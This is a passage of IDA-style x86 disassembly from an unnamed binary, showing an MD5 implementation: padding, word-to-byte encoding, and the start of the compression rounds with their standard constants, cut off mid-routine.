mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov byte ptr [eax], 80h
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
push 3Fh
pop eax
sub eax, [ebp+var_8]
mov [ebp+var_8], eax
cmp [ebp+var_8], 8
jnb short loc_40F2E1
push [ebp+var_8]
push 0
push [ebp+var_4]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_4]
add eax, 18h
push eax
push [ebp+arg_4]
call sub_40F3CE
pop ecx
pop ecx
push 38h
push 0
mov eax, [ebp+arg_4]
add eax, 18h
push eax
call sub_416B6A ; memset
add esp, 0Ch
jmp short loc_40F2F5
; ---------------------------------------------------------------------------
loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj
mov eax, [ebp+var_8]
sub eax, 8
push eax
push 0
push [ebp+var_4]
call sub_416B6A ; memset
add esp, 0Ch
loc_40F2F5: ; CODE XREF: sub_40F26E+71j
push 8
mov eax, [ebp+arg_4]
add eax, 10h
push eax
mov eax, [ebp+arg_4]
add eax, 50h
push eax
call sub_40F33F
add esp, 0Ch
mov eax, [ebp+arg_4]
add eax, 18h
push eax
push [ebp+arg_4]
call sub_40F3CE
pop ecx
pop ecx
push 10h
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F33F
add esp, 0Ch
push 4
push 0
push [ebp+arg_4]
call sub_416B6A ; memset
add esp, 0Ch
leave
retn
sub_40F26E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F33F proc near ; CODE XREF: sub_40F26E+97p
; sub_40F26E+B8p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
and [ebp+var_8], 0
jmp short loc_40F35E
; ---------------------------------------------------------------------------
loc_40F34E: ; CODE XREF: sub_40F33F+8Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_40F35E: ; CODE XREF: sub_40F33F+Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnb short locret_40F3CC
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
shr eax, 8
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx+1], al
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
shr eax, 10h
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx+2], al
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
shr eax, 18h
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx+3], al
jmp short loc_40F34E
; ---------------------------------------------------------------------------
locret_40F3CC: ; CODE XREF: sub_40F33F+25j
leave
retn
sub_40F33F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp
; sub_40F159+E3p ...
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 50h
push 40h
push [ebp+arg_4]
lea eax, [ebp+var_50]
push eax
call sub_410244
add esp, 0Ch
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+8]
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
mov eax, [eax+0Ch]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_50]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-28955B88h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_4C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-173848AAh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_48]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+242070DBh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_44]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-3E423112h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_40]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-0A83F051h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_3C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+4787C62Ah]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_38]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-57CFB9EDh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_34]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-2B96AFFh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_30]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+698098D8h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_2C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-74BB0851h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_28]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-0A44Fh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_24]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-76A32842h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_20]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+6B901122h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-2678E6Dh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_18]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-5986BC72h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_14]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+49B40821h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_4C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-9E1DA9Eh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_38]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-3FBF4CC0h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_24]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+265E5A51h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_50]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-16493856h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_3C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-29D0EFA3h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_28]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+2441453h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_14]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-275E197Fh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_40]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-182C0438h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_2C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+21E1CDE6h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_18]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-3CC8F82Ah]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_44]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-0B2AF279h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_30]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+455A14EDh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_1C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-561C16FBh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_48]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-3105C08h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_34]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+676F02D9h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-72D5B376h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_3C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-5C6BEh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-788E097Fh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_24]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+6D9D6122h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-21AC7F4h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_4C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-5B4115BCh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_40]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+4BDECFA9h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_34]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-944B4B0h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-41404390h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_1C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+289B7EC6h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_50]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-155ED806h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_44]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-2B10CF7Bh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_38]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+4881D05h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_2C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-262B2FC7h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_20]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-1924661Bh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_14]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+1FA27CF8h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_48]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-3B53A99Bh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_50]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-0BD6DDBCh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_34]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+432AFF97h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_18]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-546BDC59h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_3C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-36C5FC7h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
